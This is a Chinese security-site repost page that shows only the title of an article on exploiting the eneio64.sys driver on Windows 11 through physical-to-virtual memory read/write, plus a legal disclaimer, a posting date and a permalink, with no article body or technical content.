原文始发于微信公众号(Ots安全):通过将物理内存读写转换为虚拟内存读写,利用 Windows 11 上的 eneio64.sys 内核驱动程序

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月18日19:05:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过将物理内存读写转换为虚拟内存读写,利用 Windows 11 上的 eneio64.sys 内核驱动程序https://cn-sec.com/archives/4077636.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息